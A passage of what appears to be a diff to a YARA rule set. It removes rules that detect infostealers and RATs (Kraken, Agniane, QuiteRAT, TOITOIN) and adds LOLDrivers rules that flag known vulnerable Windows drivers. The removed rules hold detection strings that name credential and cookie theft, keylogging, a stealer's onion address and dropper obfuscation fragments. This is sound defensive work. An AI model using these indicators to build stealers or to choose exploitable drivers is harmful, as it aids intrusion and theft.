-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11012-L11025"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0dfade8dde987f5134158b7c4abc3eaf8dcece86e1ff2ab1da4466da316939a2"
-		score = 75
-		quality = 25
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys, zamguard32.sys, zamguard64.sys"
+		author = "Florian Roth"
+		id = "62c2caf4-0f8e-5873-bc77-ea5a6b390e29"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L125-L142"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "d7e091e0d478c34232e8479b950c5513077b3a69309885cee4c61063e5f74ac0"
+		logic_hash = "229c98a4e55486cde122edd3a846c6cec6b242ee9e0269bf25e92d1e00e63d67"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		clamav1 = "MALWARE.Win.Trojan.RDPCredsStealer-Injector"
 
 	strings:
-		$s1 = "\\APIHookInjectorBin\\" ascii
-		$s2 = "\\RDPCredsStealerDLL.dll" ascii
-		$s3 = "DLL Injected" ascii
-		$s4 = "Code Injected" ascii
-		$s5 = /(OpenProcess|VirtualAllocEx|CreateRemoteThread)\(\) failed:/ fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00310031002e0031002e003500310030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310031002e0031002e003500310030 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Krakenstealer : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_2298 : FILE
 {
 	meta:
-		description = "Detect Kraken infostealer"
-		author = "ditekSHen"
-		id = "460eb574-99c9-5f78-9efa-7a8808aaaae7"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11027-L11048"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7f15823db706e6e51d8ea58fb026efb49f42234255d2f448614dc645d12648bb"
-		score = 75
-		quality = 23
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		id = "85b7f3f1-6324-543f-8855-8cb13096b367"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L145-L170"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "2298e838e3c015aedfb83ab18194a2503fe5764a862c294c8b39c550aab2f08e"
+		hash = "2a6db9facf9e13d35c37dd468be04bae5f70c6127a9aee76daebddbdec95d486"
+		hash = "69640e9209f8e2ac25416bd3119b5308894b6ce22b5c80cb5d5f98f2f85d42ce"
+		hash = "1e16a01ef44e4c56e87abfbe03b2989b0391b172c3ec162783ad640be65ab961"
+		hash = "68671b735716ffc168addc052c5dc3d635e63e71c1e78815e7874286c3fcc248"
+		hash = "3813c1aab1760acb963bcc10d6ea3fddc2976b9e291710756408de392bc9e5d5"
+		hash = "aebcbfca180e372a048b682a4859fd520c98b5b63f6e3a627c626cb35adc0399"
+		logic_hash = "81287d89ca576746e6a896bd07fbe5170da2360d614164940621d709c439ca8e"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		snort = "923828002"
 
 	strings:
-		$x1 = /Kraken(_)?(Stub|Keyboard|Clipboard|GeneratorMachine|PostLogs|Screenshot|Keylogs|Password)/ ascii wide
-		$s1 = /(get|set)_(Clipboard|Keyboard|Screen)Recorder/ fullword ascii
-		$s2 = /Dumping(FileZilla|360_China|Opera|Epic|CocCoc|Thunderbird|Brave)/ fullword ascii
-		$s3 = "ScreenPostData" fullword ascii
-		$s4 = "encrypt_data" fullword ascii
-		$s5 = "KeyboardProc" fullword ascii
-		$s6 = "UploadsKeyboard" fullword ascii
-		$s7 = "ClpUploader" fullword ascii
-		$s8 = "StartKeylogger" fullword ascii
-		$s9 = "ClipoDetectedRemover" fullword ascii
-		$s10 = "Disable_Regis" fullword ascii
-		$s11 = "RecordedClips" fullword ascii
-		$s12 = "HoneyPotStatus" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310032002000430050005500490044 }
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and 2 of ($s*)) or 9 of ($s*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Whiffyrecon : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Asrockincorporation_Asrdrvsys_Asrockiodriver_4D03 : FILE
 {
 	meta:
-		description = "Detects Whiffy Recon"
-		author = "ditekSHen"
-		id = "19b0f327-06ee-5f78-abac-9c4fbcad98ac"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11050-L11070"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "58df9f47f5890c5e31d352be682c6164a940dad206ad29c54c43f70d3afb9543"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AsrDrv.sys"
+		author = "Florian Roth"
+		id = "b35951c3-d0df-5a4d-8c81-333adee6310e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L173-L202"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "4d03a01257e156a3a018230059052791c3cde556e5cec7a4dd2f55f65c06e146"
+		hash = "3943a796cc7c5352aa57ccf544295bfd6fb69aae147bc8235a00202dc6ed6838"
+		hash = "950a4c0c772021cee26011a92194f0e58d61588f77f2873aa0599dff52a160c9"
+		hash = "d20d8bf80017e98b6dfc9f6c3960271fa792a908758bef49a390e2692a2a4341"
+		hash = "2003b478b9fd1b3d76ec5bf4172c2e8915babbbee7ad1783794acbf8d4c2519d"
+		hash = "6ed35f310c96920a271c59a097b382da07856e40179c2a4239f8daa04eef38e7"
+		hash = "4bf974f5d3489638a48ee508b4a8cfa0f0262909778ccdd2e871172b71654d89"
+		hash = "ece0a900ea089e730741499614c0917432246ceb5e11599ee3a1bb679e24fd2c"
+		hash = "53bb076e81f6104f41bc284eedae36bd99b53e42719573fa5960932720ebc854"
+		hash = "f40435488389b4fb3b945ca21a8325a51e1b5f80f045ab019748d0ec66056a8b"
+		hash = "a7c2e7910942dd5e43e2f4eb159bcd2b4e71366e34a68109548b9fb12ac0f7cc"
+		logic_hash = "d0008f29063c14f41a9f433521ef2851b233760d90dc171f9a80247377431035"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "WLANSVC" fullword wide
-		$s2 = "f02fe1c0-137a-4802-8881-55dd300c5022" fullword wide
-		$s3 = "\\wlan.lnk" fullword wide
-		$s4 = "str-12.bin" wide
-		$s5 = "/geolocation/v1/geolocate?key=" wide
-		$s6 = "/wlan" fullword wide
-		$s7 = "/scanned" fullword wide
-		$s8 = "/bots/" fullword wide
-		$s9 = "wlan.pdb" fullword ascii
-		$s10 = "botId" fullword ascii
-		$s11 = "wifiAccessPoints" fullword ascii
-		$s12 = "considerIp" fullword ascii
-		$s13 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100530052006f0063006b00200049004f0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100730072004400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100530052006f0063006b00200049004f0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100730072004400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100320020004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e }
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Quiterat : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Getactechnologycorporation_Mtcbsvsys_Getacsystemserviceprovider_0ABC : FILE
 {
 	meta:
-		description = "Detects QuiteRAT"
-		author = "ditekSHen"
-		id = "54f7b899-3418-5074-8138-38cf073cda8c"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11072-L11086"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "257f9151294254e3e86979f184963f0396587438393b11bad068ba0f386cfc4a"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - GtcKmdfBs.sys"
+		author = "Florian Roth"
+		id = "c321b01f-a328-5fba-81d9-fa55af63ce5c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L205-L224"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0abca92512fc98fe6c2e7d0a33935686fc3acbd0a4c68b51f4a70ece828c0664"
+		logic_hash = "5c46f095f8329b4dab225ff3b15eb102ecfa9f25f0f86f1d18ea3a6690e267b8"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$x1 = "< No Pineapple! >" ascii
-		$x2 = ".?AVPineapple" ascii
-		$x3 = ".?AVApple@@" ascii
-		$s1 = "XgsdCwsRFxZF" ascii
-		$s2 = "XggZChkVRQ==" ascii
-		$s3 = "RxUZERQRHEU=" ascii
-		$s4 = "XhkbDBEXFkU" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00470065007400610063002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047006500740061006300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320031002c00200032002c00200030002c00200034 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320031002c00200032002c00200030002c00200034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0074006300420053007600360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00470065007400610063002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004700740063004b006d0064006600420073002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020003200300031003900200047006500740061006300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e }
 
 	condition:
-		uint16(0)==0x5a4d and (( all of ($x*) and 1 of ($s*)) or (1 of ($x*) and 3 of ($s*)))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_PWSH_CUMII
+rule LOLDRIVERS_PUA_VULN_Driver_Razerinc_Rzpnk_Rzpnk_D7B7 : FILE
 {
 	meta:
-		description = "Detects multi-dropper PowerShell"
-		author = "ditekSHen"
-		id = "07b77251-1d79-5521-8c05-ecfc662f45cb"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11088-L11104"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ab9e59b0552718928d170a988d129b38352700076847f2f409976016858864eb"
-		score = 75
-		quality = 75
-		tags = ""
-		clamav = "ditekSHen.MALWARE.PWSH.CUMII"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rzpnk.sys"
+		author = "Florian Roth"
+		id = "d9aab490-9368-54fa-8fc2-711c0446b19c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L227-L249"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "d7b743c3f98662c955c616e0d1bb0800c9602e5b6f2385336a72623037bfd6dd"
+		hash = "567809308cfb72d59b89364a6475f34a912d03889aa50866803ac3d0bf2c3270"
+		hash = "93d873cdf23d5edc622b74f9544cac7fe247d7a68e1e2a7bf2879fad97a3ae63"
+		hash = "2665d3127ddd9411af38a255787a4e2483d720aa021be8d6418e071da52ed266"
+		logic_hash = "90f4fe8425b1fe8cf7c820566d6b943bc070f33cdf1b42e691ecd6127c17d549"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = ".('{1}{$}'.replace('$','0')" ascii nocase
-		$s2 = ",'I').replace('!','ex')" ascii nocase
-		$s3 = "'.replace('*','0001')" ascii nocase
-		$s4 = "Remove-Item $" ascii nocase
-		$s5 = "the File will start cumiing" ascii nocase
-		$b1 = "011001100111010101101110011*" ascii
-		$b2 = "0101001000*1110110*010011111" ascii
-		$b3 = "01001101010110101001*11*0000" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520061007a006500720020004f007600650072006c0061007900200053007500700070006f00720074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520061007a00650072002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310032002e00310030003100350035 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310032002e00310030003100350035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0052007a0070006e006b }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0052007a0070006e006b }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0052007a0070006e006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310030002d0032003000310037002e002000520061007a00650072002c00200049006e0063002e }
 
 	condition:
-		(3 of ($s*) and 1 of ($b*))
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Agnianestealer : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Netfiltersys_Windowsrwinddkdriver_9DBC : FILE
 {
 	meta:
-		description = "Detects Agniane infostealer"
-		author = "ditekSHen"
-		id = "fcbbf748-dc01-579f-a6f8-37e0f3dea35e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11106-L11132"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0031fbe6d76868819cbcfc638433d60a50e8f5cfd14ff25af88ed3dffefd7d62"
-		score = 75
-		quality = 25
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - netfilter2.sys"
+		author = "Florian Roth"
+		id = "8fb3920a-b0bf-57b3-bf15-24f323efde31"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L252-L277"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "9dbc2a37f53507296cc912e7d354dab4e55541ba821561aa84f74d1bd8346be2"
+		hash = "65a3e69854c729659281d2c5f8a4c8274ad3606befdcd9e1b79d3262f260bfa1"
+		hash = "71701c5c569ef67391c995a12b21ca06935b7799ed211d978f7877115c58dce0"
+		hash = "81bcd8a3f8c17ac6dc4bad750ad3417914db10aa15485094eef0951a3f72bdbd"
+		hash = "1a0f57a4d7c8137baf24c65d542729547b876979273df7a245aaeea87280c090"
+		hash = "62b14bb308c99132d90646e85bc7d6eb593f38e225c8232f69f24b74a019c176"
+		hash = "0f3e7bf7b103613844a38afb574817ddaecd00e4d206d891660dbb0e5dfee04e"
+		logic_hash = "47b59ba788b51c8b9a94ecddd486fad5aeb9266e406b14b963ac69800ebd5e6d"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		snort = "923828001"
-		clamav = "ditekSHen.MALWARE.Win.AgnianeStealer"
 
 	strings:
-		$x1 = "Agniane.pdb" ascii
-		$x2 = "IEnumerable<Agniane.Classes.LogRecord>." ascii
-		$x3 = "Agniane Stealer" wide
-		$x4 = "cinoshibot" wide
-		$x5 = "yqbiguuno2zp5jxsmqbev4rwckvy27bqws5cgm3hiid7xolt65j72kqd.onion" wide
-		$s1 = "<Pass encoding=\"base64\">" wide
-		$s2 = "Domain Detect: detected {0}" wide
-		$s3 = "DOMAINDETECTCOOKIES" ascii
-		$s4 = /(Opera|Edge|Chrome|Brave|Vivaldi|Blink|Universal|Gecko|OperaGx|Firefox)Grabber/ fullword ascii
-		$u1 = "/antivm.php?id=" wide
-		$u2 = "/ferr.php?id=" wide
-		$u3 = ".php?ownerid=" wide
-		$u4 = "&buildid=" wide
-		$u5 = "&username=" wide
-		$u6 = "&BSSID=" wide
-		$u7 = "&rndtoken=" wide
-		$u8 = "&domaindetects=" wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e0065007400460069006c007400650072002000530044004b00200057004600500020004400720069007600650072002000280057005000500029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0035002e0039002e0037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0032002e0039003200300030002e00320030003500350037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0065007400660069006c0074006500720032002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0065007400660069006c0074006500720032002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020004e0065007400460069006c00740065007200530044004b002e0063006f006d }
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($x*) or (1 of ($x*) and (2 of ($s*) or 3 of ($u*))) or ( all of ($s*) and 3 of ($u*)) or (7 of ($u*)))
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_TOITOIN_Kritaloader : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Lgdatacatchersys_Gameacc_07FB : FILE
 {
 	meta:
-		description = "Detects TOITOIN KritaLoader"
-		author = "ditekSHen"
-		id = "5ff002fc-1108-554e-9de6-92d568826d1d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11134-L11145"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9629a4cfa606812d2579c0c0d486dec5971854e5133f0594a4638db5b89c3135"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - LgDataCatcher.sys"
+		author = "Florian Roth"
+		id = "4d2f4d82-aa28-5be1-8e0a-9db164a4bb50"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L280-L301"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "07fb2bb6c852f6a6fe982b2232f047e167be39738bac26806ffe0927ba873756"
+		hash = "516159871730b18c2bddedb1a9da110577112d4835606ee79bb80e7a58784a13"
+		hash = "45b07a2f387e047a6bb0e59b7f22fb56182d57b50e84e386a38c2dbb7e773837"
+		logic_hash = "a41af54c12aae5c2c95f6ed4754dcb4e17265abdb763f6be29a5a1ba1fcfdacd"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		clamav = "ditekSHen.MALWARE.Win.Trojan.TOITOIN"
 
 	strings:
-		$p1 = ":\\Trabalho_2023\\OFF_2023\\" ascii
-		$p2 = "DLL_Start_OK.pdb" ascii
-		$s1 = "krita_main" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c006500690067006f00640020006e006500740020006400610074006100200063006100740063006800650072002e }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c006700440061007400610043006100740063006800650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00470061006d0065004100630063 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c006700440061007400610043006100740063006800650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002000320030003200300020006e006e002e0063006f006d }
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($p*) and 1 of ($s*))
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_TOITOIN_Injectordll : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Innotekgmbh_Vboxguest_Virtualboxguestadditions_D53F : FILE
 {
 	meta:
-		description = "Detects TOITOIN InjectorDLL"
-		author = "ditekSHen"
-		id = "40776e0a-29df-52ea-8486-35027ab31a1b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11147-L11159"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fc80c702305657ba1058ca7f55579d1d5254dd0f619c5f7fda7886a868b65c93"
-		score = 75
-		quality = 25
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - vboxguest.sys"
+		author = "Florian Roth"
+		id = "f3412abe-99c6-5ced-823c-1c681f446bab"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L304-L323"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "d53f9111a5e6c94b37e3f39c5860897405cb250dd11aa91c3814a98b1759c055"
+		logic_hash = "06994b6e75aefad03b1346e1bcaf68dca8464526bf182557257c4f5635bb93ce"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		clamav = "ditekSHen.MALWARE.Win.Trojan.TOITOIN"
 
 	strings:
-		$p1 = ":\\Trabalho_2023\\OFF_2023\\" ascii
-		$p2 = "DLL_START_IN.pdb" ascii
-		$s1 = ".ini" fullword ascii
-		$s2 = "\\users\\Public\\Documents\\" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f00780020004700750065007300740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0069006e006e006f00740065006b00200047006d00620048 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0035002e0036002e00320038003200340031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0035002e0036002e00320038003200340031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00760062006f007800670075006500730074 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072007400750061006c0042006f00780020004700750065007300740020004100640064006900740069006f006e0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00760062006f007800670075006500730074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300034002d003200300030003700200069006e006e006f00740065006b00200047006d00620048 }
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($p*) and all of ($s*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_TOITOIN_Downloader : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Eldoscorporation_Elrawdsksys_Rawdisk_4744 : FILE
 {
 	meta:
-		description = "Detects TOITOIN Downloader"
-		author = "ditekSHen"
-		id = "0282ea26-e381-5c9a-9dad-c90246d8add0"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
